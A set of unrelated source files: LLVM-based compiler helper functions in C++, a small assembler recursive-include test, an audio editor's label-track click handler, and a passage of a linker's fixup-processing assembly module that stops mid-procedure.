LLPointerType *isaPointer(LLValue *v) {
return llvm::dyn_cast<LLPointerType>(v->getType());
}
LLPointerType *isaPointer(LLType *t) {
return llvm::dyn_cast<LLPointerType>(t);
}
LLArrayType *isaArray(LLValue *v) {
return llvm::dyn_cast<LLArrayType>(v->getType());
}
LLArrayType *isaArray(LLType *t) { return llvm::dyn_cast<LLArrayType>(t); }
LLStructType *isaStruct(LLValue *v) {
return llvm::dyn_cast<LLStructType>(v->getType());
}
LLStructType *isaStruct(LLType *t) { return llvm::dyn_cast<LLStructType>(t); }
LLFunctionType *isaFunction(LLValue *v) {
return llvm::dyn_cast<LLFunctionType>(v->getType());
}
LLFunctionType *isaFunction(LLType *t) {
return llvm::dyn_cast<LLFunctionType>(t);
}
LLConstant *isaConstant(LLValue *v) {
return llvm::dyn_cast<llvm::Constant>(v);
}
llvm::ConstantInt *isaConstantInt(LLValue *v) {
return llvm::dyn_cast<llvm::ConstantInt>(v);
}
llvm::Argument *isaArgument(LLValue *v) {
return llvm::dyn_cast<llvm::Argument>(v);
}
llvm::GlobalVariable *isaGlobalVar(LLValue *v) {
return llvm::dyn_cast<llvm::GlobalVariable>(v);
}
////////////////////////////////////////////////////////////////////////////////
LLPointerType *getPtrToType(LLType *t) {
if (t == LLType::getVoidTy(gIR->context()))
t = LLType::getInt8Ty(gIR->context());
return t->getPointerTo();
}
LLPointerType *getVoidPtrType() {
return LLType::getInt8Ty(gIR->context())->getPointerTo();
}
llvm::ConstantPointerNull *getNullPtr(LLType *t) {
LLPointerType *pt = llvm::cast<LLPointerType>(t);
return llvm::ConstantPointerNull::get(pt);
}
LLConstant *getNullValue(LLType *t) { return LLConstant::getNullValue(t); }
////////////////////////////////////////////////////////////////////////////////
size_t getTypeBitSize(LLType *t) { return gDataLayout->getTypeSizeInBits(t); }
size_t getTypeStoreSize(LLType *t) { return gDataLayout->getTypeStoreSize(t); }
size_t getTypeAllocSize(LLType *t) { return gDataLayout->getTypeAllocSize(t); }
unsigned int getABITypeAlign(LLType *t) {
return gDataLayout->getABITypeAlignment(t);
}
////////////////////////////////////////////////////////////////////////////////
LLStructType *DtoModuleReferenceType() {
if (gIR->moduleRefType) {
return gIR->moduleRefType;
}
// this is a recursive type so start out with a struct without body
LLStructType *st = LLStructType::create(gIR->context(), "ModuleReference");
// add members
LLType *types[] = {getPtrToType(st), DtoPtrToType(getModuleInfoType())};
// resolve type
st->setBody(types);
// done
gIR->moduleRefType = st;
return st;
}
////////////////////////////////////////////////////////////////////////////////
LLValue *DtoAggrPair(LLType *type, LLValue *V1, LLValue *V2, const char *name) {
LLValue *res = llvm::UndefValue::get(type);
res = gIR->ir->CreateInsertValue(res, V1, 0);
return gIR->ir->CreateInsertValue(res, V2, 1, name);
}
LLValue *DtoAggrPair(LLValue *V1, LLValue *V2, const char *name) {
LLType *types[] = {V1->getType(), V2->getType()};
LLType *t = LLStructType::get(gIR->context(), types, false);
return DtoAggrPair(t, V1, V2, name);
}
LLValue *DtoAggrPaint(LLValue *aggr, LLType *as) {
if (aggr->getType() == as) {
return aggr;
}
LLValue *res = llvm::UndefValue::get(as);
LLValue *V = gIR->ir->CreateExtractValue(aggr, 0);
V = DtoBitCast(V, as->getContainedType(0));
res = gIR->ir->CreateInsertValue(res, V, 0);
V = gIR->ir->CreateExtractValue(aggr, 1);
V = DtoBitCast(V, as->getContainedType(1));
return gIR->ir->CreateInsertValue(res, V, 1);
}
|
#include "recursive4.asm"
; error: recursive3.asm:1: recursive |
/**********************************************************************
Audacium: A Digital Audio Editor
LabelDefaultClickHandle.cpp
Paul Licameli split from TrackPanel.cpp
**********************************************************************/
#include "LabelDefaultClickHandle.h"
#include "LabelTrackView.h"
#include "../../../HitTestResult.h"
#include "../../../LabelTrack.h"
#include "../../../RefreshCode.h"
#include "../../../TrackPanelMouseEvent.h"
LabelDefaultClickHandle::LabelDefaultClickHandle()
{
}
LabelDefaultClickHandle::~LabelDefaultClickHandle()
{
}
struct LabelDefaultClickHandle::LabelState {
std::vector<
std::pair< std::weak_ptr<LabelTrack>, LabelTrackView::Flags >
> mPairs;
};
void LabelDefaultClickHandle::SaveState( AudacityProject *pProject )
{
mLabelState = std::make_shared<LabelState>();
auto &pairs = mLabelState->mPairs;
auto &tracks = TrackList::Get( *pProject );
for (auto lt : tracks.Any<LabelTrack>()) {
auto &view = LabelTrackView::Get( *lt );
pairs.push_back( std::make_pair(
lt->SharedPointer<LabelTrack>(), view.SaveFlags() ) );
}
}
void LabelDefaultClickHandle::RestoreState( AudacityProject *pProject )
{
if ( mLabelState ) {
for ( const auto &pair : mLabelState->mPairs )
if (auto pLt = TrackList::Get( *pProject ).Lock(pair.first)) {
auto &view = LabelTrackView::Get( *pLt );
view.RestoreFlags( pair.second );
}
mLabelState.reset();
}
}
UIHandle::Result LabelDefaultClickHandle::Click
(const TrackPanelMouseEvent &evt, AudacityProject *pProject)
{
using namespace RefreshCode;
// Redraw to show the change of text box selection status
UIHandle::Result result = RefreshAll;
if (evt.event.LeftDown())
{
SaveState( pProject );
const auto pLT = evt.pCell.get();
for (auto lt : TrackList::Get( *pProject ).Any<LabelTrack>()) {
if (pLT != &TrackView::Get( *lt )) {
auto &view = LabelTrackView::Get( *lt );
view.ResetFlags();
view.SetSelectedIndex( -1 );
}
}
}
return result;
}
UIHandle::Result LabelDefaultClickHandle::Drag
(const TrackPanelMouseEvent &WXUNUSED(evt), AudacityProject *WXUNUSED(pProject))
{
return RefreshCode::RefreshNone;
}
UIHandle::Result LabelDefaultClickHandle::Release
(const TrackPanelMouseEvent &WXUNUSED(evt), AudacityProject *WXUNUSED(pProject),
wxWindow *WXUNUSED(pParent))
{
mLabelState.reset();
return RefreshCode::RefreshNone;
}
UIHandle::Result LabelDefaultClickHandle::Cancel(AudacityProject *pProject)
{
UIHandle::Result result = RefreshCode::RefreshNone;
RestoreState( pProject );
return result;
}
|
TITLE FIXUPP2 - Copyright (c) SLR Systems 1994
INCLUDE MACROS
INCLUDE SYMBOLS
INCLUDE SEGMENTS
INCLUDE GROUPS
INCLUDE SECTS
INCLUDE SEGMSYMS
INCLUDE SECTIONS
INCLUDE EXES
INCLUDE FIXTEMPS
if fg_segm
INCLUDE RELOCSS
endif
if fg_pe
INCLUDE PE_STRUC
endif
INCLUDE RELEASE
PUBLIC FIXUPP2,REL_CHK_LIDATA,FIX2_TARG_TABLE_CV,FIX2_TARG_TABLE_NORMAL,LOC_10_PROT,SPECIAL_RELOC_CHECK
PUBLIC DO_FARCALL_FIXUPPS,SELECT_CV4_OUTPUT
.DATA
EXTERNDEF TEMP_DATA_RECORD:BYTE,TEMP_FIXUPP_RECORD:BYTE,LOC_SIZE:BYTE,EXETYPE_FLAG:BYTE,FIX2_TTYPE:BYTE
EXTERNDEF FIX2_FTYPE:BYTE,FIX2_SEG_TYPE:BYTE,FIX2_SM_FLAGS_2:BYTE,FIX2_LD_TYPE:BYTE,FIX2_FH_TYPE:BYTE
EXTERNDEF FIX2_LD_LENGTH:WORD,FIX2_FH_LENGTH:WORD
EXTERNDEF EXETABLE:DWORD,HEADER_TABLE:DWORD,VECTOR_SIZE:DWORD,MOVABLE_MASK:DWORD,LOC_10:DWORD
EXTERNDEF CURN_OUTFILE_GINDEX:DWORD,FIX2_TT:DWORD,SYMC_START:DWORD,LOC_CALLTBL_PTR:DWORD,SEGMENT_COUNT:DWORD
EXTERNDEF LDATA_SEGMOD_GINDEX:DWORD,CURNMOD_GINDEX:DWORD,CURN_SECTION_GINDEX:DWORD,LATEST_PENT_GINDEX:DWORD
EXTERNDEF MODEND_OWNER_GINDEX:DWORD,FIX2_LDATA_SEGMENT_GINDEX:DWORD,FIX2_FIXUPP_BLK:DWORD,GROUP_PTRS:DWORD
EXTERNDEF FIX2_FIXUPP_BASE:DWORD,FIX2_FIXUPP_EOR:DWORD,FIX2_FF:DWORD,FIX2_OS2_TNUMBER:DWORD
EXTERNDEF FIX2_OS2_FNUMBER:DWORD,FIX2_OS2_TFLAGS:DWORD,FIX2_OS2_FFLAGS:DWORD,FIX2_SEG_OS2_NUMBER:DWORD
EXTERNDEF FIX2_LDATA_BASE:DWORD,FIX2_FC_LENGTH:DWORD,FIX2_FC_SEGMOD_GINDEX:DWORD,FIRST_RELOC_GINDEX:DWORD
EXTERNDEF FIX2_SM_START:DWORD,FIX2_IMP_FLAGS:DWORD,FIX2_IMP_OFFSET:DWORD,FIX2_FH_BLOCK_BASE:DWORD
EXTERNDEF FIX2_IMP_MODULE:DWORD,FIX2_TFRAME_SEG:DWORD,FIX2_OFFSET:DWORD,FIX2_LOC:DWORD,FIX2_TINDEX:DWORD
EXTERNDEF FIX2_FINDEX:DWORD,FIX2_TARG_TABLE:DWORD,FIX2_FC_BLOCK_BASE:DWORD,ENTRYPOINT_GINDEX:DWORD
EXTERNDEF FIX2_LDATA_EOR:DWORD,FIX2_SM_NEXT_SEGMOD_GINDEX:DWORD,FIX2_SEG_GINDEX:DWORD
EXTERNDEF FIX2_SEG_OS2_FLAGS:DWORD,FIX2_NEW_SEGMOD_GINDEX:DWORD,FLAG_0C:DWORD,FIX2_RELOC_OFFSET:DWORD
EXTERNDEF RELOC_HIGH_WATER:DWORD,RELOC_BITS:DWORD,VECTOR_TABLE_ADDRESS:DWORD,SLR_CODE_HEADER:DWORD
EXTERNDEF FIRST_FARCALL:DWORD,END_VECTOR_TABLE:DWORD,WM_START_ADDR:DWORD,MODEND_ADDRESS:DWORD
EXTERNDEF SEGMENT_TABLE_PTR:DWORD,FIXUPP_COUNT:DWORD,FIX2_LDATA_PTR:DWORD,FIX2_TOFFSET:DWORD,FIX2_FFRAME:DWORD
EXTERNDEF FIX2_TFRAME:DWORD,FIX2_SM_FIRST_DAT:DWORD,FIX2_SM_LAST_DAT:DWORD,FIX2_FH_NEXT_FIXUPP:DWORD
EXTERNDEF FIX2_LDATA_LOC:DWORD,FIX2_SEG_FRAME:DWORD,FIX2_LD_NEXT_LDATA:DWORD,FIX2_LD_OFFSET:DWORD
EXTERNDEF FIX2_STACK_DELTA:DWORD,PE_BASE:DWORD,FIRST_SECTION_GINDEX:DWORD,FIX2_LD_BLOCK_BASE:DWORD
EXTERNDEF START_DEFINED_SEM:QWORD,SECTION_GARRAY:STD_PTR_S,SEGMOD_GARRAY:STD_PTR_S,PENT_GARRAY:STD_PTR_S
EXTERNDEF SEGMENT_GARRAY:STD_PTR_S,FIX2_FIXUPP_STUFF:FIXUPP_HEADER_TYPE,PEXEHEADER:PEXE
EXTERNDEF FIX2_SEGMENT_STUFF:SEGMENT_STRUCT,SYMBOL_GARRAY:STD_PTR_S,GROUP_GARRAY:STD_PTR_S
EXTERNDEF FIX2_SEGMOD_STUFF:SEGMOD_STRUCT,FIX2_LDATA_STUFF:LDATA_HEADER_TYPE,RELOC_GARRAY:STD_PTR_S
EXTERNDEF PE_OBJECT_GARRAY:STD_PTR_S,EXEHEADER:EXE,NEXEHEADER:NEXE,SEGMENT_TABLE:SEGTBL_STRUCT
EXTERNDEF OUT_SEGMOD_FINISH:DWORD,OUT_NEW_SEGMOD:DWORD,OUT_END_OF_SECTION:DWORD,OUT_END_OF_SEGMENTS:DWORD
EXTERNDEF OUT_NEW_SECTION:DWORD,OUT_NEW_SEGMENT:DWORD,OUT_SEGMENT_FINISH:DWORD
.CODE PASS2_TEXT
EXTERNDEF RELEASE_BLOCK:PROC,_err_abort:proc,FORREF2:PROC,FIXUPP_ERROR:PROC,ERR_ASCIZ_RET:PROC,ERR_RET:PROC
EXTERNDEF CONVERT_SUBBX_TO_EAX:PROC,RELOC_INSTALL:PROC,EXE_OUT_LDATA:PROC,RELEASE_DSBX:PROC,GET_SM_MODULE:PROC
EXTERNDEF OBJ_PHASE:PROC,WARN_RET:PROC,TIME_ERROR:PROC,SAY_VERBOSE:PROC,VERIFY_FAIL:PROC,DO_PE_RELOC:PROC
EXTERNDEF WARN_ASCIZ_RET:PROC
EXTERNDEF DATA_OUTSIDE_SEGMOD_ERR:ABS,UNRECOGNIZED_FIXUPP_FRAME_ERR:ABS,CANT_REACH_ERR:ABS,SHORT_ERR:ABS
EXTERNDEF LOC_FRAME_ERR:ABS,LOBYTE_ERR:ABS,UNREC_FIXUPP_ERR:ABS,START_ERR:ABS,START_CANT_REACH_ERR:ABS
EXTERNDEF START_IMPORT_ERR:ABS,RELOC_CONFLICT_ERR:ABS,BASE_RELOC_ERR:ABS,REC_TOO_LONG_ERR:ABS,START_ERR:ABS
EXTERNDEF NO_START_ERR:ABS,NEAR16_ERR:ABS,NEAR_IMPORT_ERR:ABS,DOING_SEGMOD_ERR:ABS
externdef _loc_dword_offset_tls:proc
FIXUPP2 PROC
;
;
;
SETT FINAL_FIXUPPS
MOV FIX2_TARG_TABLE,OFF FIX2_TARG_TABLE_NORMAL
if fg_pe
BITT OUTPUT_PE
JZ L0$
MOV FIX2_TARG_TABLE,OFF FIX2_TARG_TABLE_PE
L0$:
endif
if fg_norm_exe OR fg_segm
CALL DO_FARCALL_FIXUPPS
endif
if any_overlays
RESS VECTORED_REFERENCE
endif
if fg_segm
BITT OUTPUT_SEGMENTED
MOV ESI,OFF LOC_CALLTBL_PROT
MOV EDI,OFF LOC_10_PROT
JNZ L1$
endif
if fg_pe
BITT OUTPUT_PE
MOV ESI,OFF LOC_CALLTBL_PE
MOV EDI,OFF LOC_10_PE
JNZ L1$
endif
MOV ESI,OFF LOC_CALLTBL_REAL
MOV EDI,OFF LOC_10_REAL
L1$:
MOV LOC_CALLTBL_PTR,ESI
MOV LOC_10,EDI
;
;STARTING PASS THROUGH DATA, SEGMENT BY SEGMENT
;
;HANDLE START ADDRESS IF ANY
;
if fg_rom
XOR AX,AX
MOV FIX2_PHASE_ADDR.LW,AX
MOV FIX2_PHASE_ADDR.HW,AX
endif
CALL HANDLE_START_ADDRESS
MOV CURNMOD_GINDEX,0
if any_overlays
BITT DOING_OVERLAYS
JZ 1$
;
;NEED TO MOVE START ADDRESS FROM EXEHEADER TO SLR_CODE_HEADER
;
MOV BX,EXEHEADER._EXE_REG_IP
MOV CX,EXEHEADER._EXE_REG_CS
MOV AX,BX
OR AX,CX
JZ 1$ ;GOOD ENOUGH...
LDS SI,SLR_CODE_HEADER
SYM_CONV_DS
MOV DX,[SI]._LD_SECOND_BLK
ADD SI,SIZE LDATA_HEADER_TYPE+$$SLR_MAIN
CALL SI_FIXER
MOV [SI],BX
INC SI
INC SI
CALL SI_FIXER
MOV [SI],CX
1$:
endif
if fg_segm
CALL RC_STARTER
endif
;
;OK, START AT FIRST AREA, ONE SECTION AT A TIME PLEASE
;
MOV EAX,FIRST_SECTION_GINDEX
JMP TEST_SECTION
SECTION_LOOP:
MOV CURN_SECTION_GINDEX,EAX
CALL OUT_NEW_SECTION ;WE PROBABLY CARE...
SECL_2:
MOV ESI,CURN_SECTION_GINDEX
XOR EAX,EAX
MOV FIX2_LDATA_SEGMENT_GINDEX,EAX
;
;OK, START THROUGH MY SEGMODS
;
CONVERT ESI,ESI,SECTION_GARRAY
ASSUME ESI:PTR SECTION_STRUCT
MOV ESI,[ESI]._SECT_FIRST_SEGMOD_GINDEX
JMP TEST_SEGMOD
if fg_rom
SL_1:
JMP NEXT_SEG
SL_2:
;
;THIS IS A PHASE TARGET SEGMENT..., GET SOURCE VALUES
;
PUSHM FIX2_LDATA_SEGMENT.OFFS,FIX2_LDATA_SEGMENT.SEGM
LDS SI,FIX2_SEG_PHASE ;SOURCE SEGMENT
MOV FIX2_LDATA_SEGMENT.OFFS,SI
MOV FIX2_LDATA_SEGMENT.SEGM,DS
SYM_CONV_DS
MOV AX,FIX2_SEG_BASE.LW
MOV BX,FIX2_SEG_BASE.HW
LEA DI,FIX2_SEGMENT_STUFF
MOV CX,(SIZE SEGMENT_STRUCT+1)/2
REP MOVSW
SUB AX,FIX2_SEG_BASE.LW
SBB BX,FIX2_SEG_BASE.HW
MOV FIX2_PHASE_ADDR.LW,AX
MOV FIX2_PHASE_ADDR.HW,BX
JMP SL_3
endif
SEGMOD_LOOP:
;
;FIRST, SEE IF THIS IS A NEW SEGMENT
;
MOV EBX,ESI
MOV FIX2_NEW_SEGMOD_GINDEX,ESI ;FOR COMMONS AND STACKS...
CONVERT ESI,ESI,SEGMOD_GARRAY
ASSUME ESI:PTR SEGMOD_STRUCT
MOV EAX,[ESI]._SM_BASE_SEG_GINDEX
MOV ECX,FIX2_LDATA_SEGMENT_GINDEX
CMP ECX,EAX
JZ SAME_SEG
NEW_SEG:
MOV EAX,FIX2_LDATA_SEGMENT_GINDEX
TEST EAX,EAX
JZ NO_OLD_SEG
CALL OUT_SEGMENT_FINISH
NO_OLD_SEG:
;
;ANOTHER SEGMENT...
;
MOV ESI,[ESI]._SM_BASE_SEG_GINDEX
MOV EDI,OFF FIX2_SEGMENT_STUFF
MOV FIX2_LDATA_SEGMENT_GINDEX,ESI
CONVERT ESI,ESI,SEGMENT_GARRAY
ASSUME ESI:PTR SEGMENT_STRUCT
MOV ECX,(SIZE SEGMENT_STRUCT+3)/4
REP MOVSD
if fg_segm
GETT DL,RC_REORDER ;ARE WE REORDERING SEGMENTS FOR WINDOWS?
MOV EAX,FIX2_SEG_OS2_NUMBER
TEST DL,DL
JZ SL_3
CONV_EAX_SEGTBL_ECX
GETT DL,RC_PRELOADS
MOV EAX,[ECX]._SEGTBL_FLAGS
TEST DL,DL
JNZ NOS_1
;
;WANT JUST NON-PRELOADS
;
TEST AL,MASK SR_PRELOAD
JZ SL_3
GETT AL,RC_REORDER_SEGS
TEST AL,AL
JZ SL_3
SKIP_THIS:
XOR ECX,ECX
MOV EDX,FIX2_LDATA_SEGMENT_GINDEX
MOV ESI,EBX
MOV FIX2_LDATA_SEGMENT_GINDEX,ECX
ST_1:
MOV ECX,ESI
CONVERT ESI,ESI,SEGMOD_GARRAY ;SKIP TILL BASE SEGMENT IS DIFFERENT
ASSUME ESI:PTR SEGMOD_STRUCT
MOV EBX,[ESI]._SM_BASE_SEG_GINDEX
MOV ESI,[ESI]._SM_NEXT_SEGMOD_GINDEX
CMP EDX,EBX
JNZ TS_1
TEST ESI,ESI
JNZ ST_1
JMP TEST_SEGMOD
TS_1:
MOV ESI,ECX
JMP TEST_SEGMOD
NOS_1:
;
;WANT JUST PRELOADS
;
TEST AL,MASK SR_PRELOAD
JZ SKIP_THIS
GETT AL,RC_REORDER_SEGS
TEST AL,AL
JZ SKIP_THIS
endif
if fg_rom
TEST FIX2_SEG_ORDER_FLAG,MASK DEF_PHASEE
JNZ SL_1
TEST FIX2_SEG_ORDER_FLAG,MASK DEF_PHASE_TARG
JNZ SL_2
endif
SL_3:
;
;TELL OUTPUTTERS NEW SEGMOD COMING
;
CALL OUT_NEW_SEGMENT
CONVERT ESI,EBX,SEGMOD_GARRAY
ASSUME ESI:PTR SEGMOD_STRUCT
SAME_SEG:
MOV EAX,ESI
MOV EDI,OFF FIX2_SEGMOD_STUFF
MOV ECX,(SIZE SEGMOD_STRUCT+3)/4
MOV LDATA_SEGMOD_GINDEX,EBX
REP MOVSD
CALL GET_SM_MODULE
;
;TELL OUTPUTTERS NEW SEGMOD COMING
;
MOV CURNMOD_GINDEX,EAX
if 0;debug
MOV ECX,FIX2_LDATA_SEGMENT_GINDEX
CONVERT ECX,ECX,SEGMENT_GARRAY
ASSUME ECX:PTR SEGMENT_STRUCT
MOV AL,DOING_SEGMOD_ERR
ADD ECX,SEGMENT_STRUCT._SEG_TEXT
CALL WARN_ASCIZ_RET
endif
CALL OUT_NEW_SEGMOD
CALL RELINK_DATA_BACKWARDS
XOR EAX,EAX
MOV ESI,FIX2_SM_FIRST_DAT
MOV FIX2_SM_LAST_DAT,EAX ;NO FORREFS HERE...
JMP LDATA_TEST
SM_FIRST_FORREF:
MOV FIX2_SM_FIRST_DAT,ESI
JMP SFF_RET
ASSUME ESI:PTR LDATA_HEADER_TYPE
SM_LINK_FORREF:
;
MOV EDI,FIX2_SM_LAST_DAT
ASSUME EDI:PTR LDATA_HEADER_TYPE
TEST EDI,EDI
JZ SM_FIRST_FORREF
MOV [EDI]._LD_NEXT_LDATA,ESI
SFF_RET:
MOV FIX2_SM_LAST_DAT,ESI
XOR EAX,EAX
MOV EBX,[ESI]._LD_NEXT_LDATA
MOV [ESI]._LD_NEXT_LDATA,EAX
MOV ESI,EBX
JMP LDATA_TEST
ASSUME EDI:NOTHING
SM_DATA_LOOP:
;
;IF FORREF, SIMPLY LINK IT IN FOR NOW, CANNOT RELEASE
;
MOV AL,[ESI]._LD_TYPE
TEST AL,MASK BIT_FI
JNZ SM_FIXUPP
TEST AL,MASK BIT_FR
JNZ SM_LINK_FORREF
;
;MUST BE A DATA RECORD, FLUSH ANY ALREADY IN THERE...
;
CALL SM_FLUSH_LDATA
;
;NOW LOAD DATA RECORD PROPERLY, LIKE IN FIXUPP
;
MOV EAX,[ESI]._LD_BLOCK_BASE
MOV EDI,OFF FIX2_LDATA_STUFF
ASSUME EDI:PTR LDATA_HEADER_TYPE
MOV FIX2_LDATA_BASE,EAX ;LDATA_LOG SET HERE
MOV EBX,DPTR [ESI]._LD_LENGTH
MOV [EDI]._LD_BLOCK_BASE,EAX
MOV ECX,[ESI]._LD_NEXT_LDATA
MOV DPTR [EDI]._LD_LENGTH,EBX
AND EBX,0FFFFH
MOV EAX,[ESI]._LD_OFFSET
MOV [EDI]._LD_NEXT_LDATA,ECX
MOV [EDI]._LD_OFFSET,EAX
ADD ESI,SIZEOF LDATA_HEADER_TYPE
MOV AL,FIX2_LD_TYPE
ADD EBX,ESI
ASSUME ESI:NOTHING,EDI:NOTHING
MOV FIX2_LDATA_PTR,ESI
MOV FIX2_LDATA_EOR,EBX
;
;CHECK FOR OVERLAPPED RECORD
;
TEST AL,MASK BIT_CONT
JZ LDATA_LOADED
CALL LOAD_LDATA_SPEC
LDATA_LOADED:
MOV EAX,FIX2_LD_OFFSET
MOV EBX,FIX2_SM_START
ADD EAX,EBX
MOV FIX2_LDATA_LOC,EAX
;
;HERE WE CHECK FOR RELOCATION CONFLICTS...
;
CALL RELOCATION_CHECK
MOV ESI,FIX2_LD_NEXT_LDATA
LDATA_TEST:
TEST ESI,ESI
JNZ SM_DATA_LOOP
CALL SM_FLUSH_LDATA ;IF THERE, FLUSH IT
;
;NOW PROCESS ANY FORREF RECORDS LINKED HERE
;
MOV EAX,FIX2_SM_LAST_DAT
TEST EAX,EAX ;ANY THERE?
JZ SM_FORREFS_DONE
CALL DOFORREFS
SM_FORREFS_DONE:
;
;OK, THAT FINISHES THIS SEGMOD, SIGNAL OUTPUTTERS
;
CALL OUT_SEGMOD_FINISH
;
NEXT_SEGMOD:
MOV ESI,FIX2_SM_NEXT_SEGMOD_GINDEX
TEST_SEGMOD:
;
;IF SEGMOD DOESN'T EXIST, WE ARE DONE
;
TEST ESI,ESI
JNZ SEGMOD_LOOP
SM_DONE:
;
;IF A SEGMENT IS ACTIVE, DO END-OF-SEGMENT
;
MOV EAX,FIX2_LDATA_SEGMENT_GINDEX
TEST EAX,EAX
JZ SMD_1
CALL OUT_SEGMENT_FINISH
SMD_1:
if fg_rom
TEST FIX2_SEG_ORDER_FLAG,MASK DEF_PHASEE
JZ SMD_1
;
;RESET STUFF BACK TO ORIGINAL SEGMENT
;
POPM DS,SI
MOV FIX2_LDATA_SEGMENT.OFFS,SI
MOV FIX2_LDATA_SEGMENT.SEGM,DS
SYM_CONV_DS
FIXES
LEA DI,FIX2_SEGMENT_STUFF
MOV CX,(SIZE SEGMENT_STRUCT+1)/2
REP MOVSW
; LDS SI,FIX2_SEG_FIRST_SEGMOD
MOV FIX2_PHASE_ADDR.LW,CX
MOV FIX2_PHASE_ADDR.HW,CX
MOV HIGH_WATER.LW,CX
MOV HIGH_WATER.HW,CX
SMD_1:
endif
;
;END OF SECTION, SIGNAL IT
;
MOV CURNMOD_GINDEX,0
CALL OUT_END_OF_SECTION
if fg_segm
GETT AL,RC_REORDER
GETT CL,RC_PRELOADS
TEST AL,AL
JZ NEXT_SECTION
TEST CL,CL
JZ NO_MORE_RC
RESS RC_PRELOADS
JMP SECL_2
NO_MORE_RC:
RESS RC_REORDER
endif
NEXT_SECTION:
;
;OK, TRY FOR NEXT SECTION THIS AREA
;
MOV EAX,CURN_SECTION_GINDEX
CONVERT EAX,EAX,SECTION_GARRAY
ASSUME EAX:PTR SECTION_STRUCT
MOV EAX,[EAX]._SECT_NEXT_SECTION_GINDEX
TEST_SECTION:
TEST EAX,EAX
JNZ SECTION_LOOP
EOS:
CALL OUT_END_OF_SEGMENTS
XOR EAX,EAX
MOV CURNMOD_GINDEX,EAX
RET
ASSUME EAX:NOTHING
SM_FIXUPP:
;
;OK, LOAD/LOCK FIXUPP RECORD FOR EASY ACCESS...
;
CALL LOAD_LOCK_FIXUPP ;DS:SI IS FIXUPP RECORD
CALL DOFIXUPPS ;DO TRANSFORMS
MOV ESI,FIX2_FH_NEXT_FIXUPP
JMP LDATA_TEST
FIXUPP2 ENDP
DOFORREFS PROC NEAR
;
;GO THROUGH LIST OF FORREF RECORDS
;
MOV ESI,FIX2_SM_FIRST_DAT ;FIRST FORREF RECORD
SM_FORREF_LOOP:
CALL LOAD_LOCK_FIXUPP ;DS:SI IS FORREF RECORD
CALL FORREF2
CALL RELEASE_FIXUPP
MOV ESI,FIX2_FH_NEXT_FIXUPP
TEST ESI,ESI
JNZ SM_FORREF_LOOP
RET
DOFORREFS ENDP
ASSUME ESI:PTR FIXUPP_HEADER_TYPE
LOAD_LOCK_FIXUPP PROC NEAR
;
;DS:SI POINTS TO RECORD
;FIX2_FIXUPP_EOR IS END OF RECORD
;
MOV EAX,[ESI]._FH_BLOCK_BASE
MOV EDI,OFF FIX2_FIXUPP_STUFF
ASSUME EDI:PTR FIXUPP_HEADER_TYPE
MOV FIX2_FIXUPP_BASE,EAX
MOV EBX,DPTR [ESI]._FH_LENGTH
MOV [EDI]._FH_BLOCK_BASE,EAX
MOV DPTR [EDI]._FH_LENGTH,EBX
MOV ECX,[ESI]._FH_NEXT_FIXUPP
AND EBX,0FFFFH
MOV [EDI]._FH_NEXT_FIXUPP,ECX
ADD ESI,SIZEOF FIXUPP_HEADER_TYPE
ASSUME ESI:NOTHING,EDI:NOTHING
MOV CL,FIX2_FH_TYPE
ADD EBX,ESI
AND CL,MASK BIT_CONT
JNZ L1$
MOV FIX2_FIXUPP_EOR,EBX
RET
L1$:
SUB EBX,ESI
LEA ECX,[EAX + PAGE_SIZE] ;NEXT LOGICAL BLOCK #
MOV EDI,OFF TEMP_FIXUPP_RECORD
SUB ECX,ESI
MOV EDX,[EAX] ;USAGE COUNTER
SUB EBX,ECX ;SAVE THIS #
DEC EDX
SHR ECX,2
MOV [EAX],EDX
REP MOVSD
MOV ESI,[EAX+4]
LEA ECX,[EBX+3]
TEST EDX,EDX
JNZ L2$
CALL RELEASE_BLOCK
L2$:
MOV EAX,ESI
LEA EDX,[EDI+EBX]
MOV EBX,[ESI]
ADD ESI,BLOCK_BASE
SHR ECX,2
DEC EBX
REP MOVSD
MOV [EAX],EBX
JNZ L3$
CALL RELEASE_BLOCK
L3$:
MOV FIX2_FIXUPP_BASE,ECX ;NO BLOCK TO UNLOCK...
MOV FIX2_FIXUPP_EOR,EDX
MOV ESI,OFF TEMP_FIXUPP_RECORD
RET
LOAD_LOCK_FIXUPP ENDP
LOAD_LDATA_SPEC PROC NEAR
;
;THIS GUY IS SPLIT OVER TWO BLOCKS, MOVE HIM TO LOCAL STORAGE
;
MOV EBX,DPTR FIX2_LD_LENGTH
MOV EAX,FIX2_LD_BLOCK_BASE
AND EBX,0FFFFH
MOV EDI,OFF TEMP_DATA_RECORD
CMP EBX,MAX_LEDATA_LEN+32
JA L5$
LEA ECX,[EAX + PAGE_SIZE]
MOV FIX2_LDATA_PTR,EDI
SUB ECX,ESI
MOV EDX,[EAX] ;USAGE COUNTER
SUB EBX,ECX ;SAVE THIS #
SHR ECX,2
DEC EDX
REP MOVSD
MOV ESI,[EAX+4]
LEA ECX,[EBX+3]
MOV [EAX],EDX
JNZ L1$
CALL RELEASE_BLOCK
L1$:
MOV EAX,ESI
LEA EDX,[EDI+EBX]
MOV EBX,[ESI]
ADD ESI,BLOCK_BASE
SHR ECX,2
DEC EBX
REP MOVSD
MOV [EAX],EBX
JNZ L3$
CALL RELEASE_BLOCK
L3$:
MOV FIX2_LDATA_EOR,EDX
MOV FIX2_LDATA_BASE,ECX
RET
L5$:
MOV AL,REC_TOO_LONG_ERR
push EAX
call _err_abort
LOAD_LDATA_SPEC ENDP
SM_FLUSH_LDATA PROC NEAR
;
;IF LDATA EXISTS, SEND IT OFF TO OTHER PROCESSOR
;
MOV EAX,FIX2_LDATA_PTR
TEST EAX,EAX
JZ L99$
CALL EXE_OUT_LDATA ;OMF, HEX, EXE, DEBUG, ETC
XOR ECX,ECX
MOV EAX,FIX2_LDATA_BASE
MOV FIX2_LDATA_BASE,ECX
MOV FIX2_LDATA_PTR,ECX
TEST EAX,EAX
JZ L99$
DEC DPTR [EAX]
JZ RELEASE_BLOCK
L99$:
RET
SM_FLUSH_LDATA ENDP
RELEASE_FIXUPP PROC NEAR
;
;UNLOOSE THAT RECORD
;
MOV EAX,FIX2_FIXUPP_BASE
TEST EAX,EAX
JZ L9$
DEC DPTR [EAX]
JZ RELEASE_BLOCK
L9$:
RET
RELEASE_FIXUPP ENDP
if fg_segm
DO_FIXIMPORT PROC NEAR
;
;WE ARE ACCESSING AN IMPORTED ITEM...
;
;THIS BECOMES A RELOCATION ITEM,
;SELF-REL IS ILLEGAL, ETC
;
MOV EAX,FIX2_TOFFSET
MOV EBX,FIX2_OFFSET
MOV CL,FIX2_SEG_TYPE
MOV EDI,FIX2_LDATA_PTR
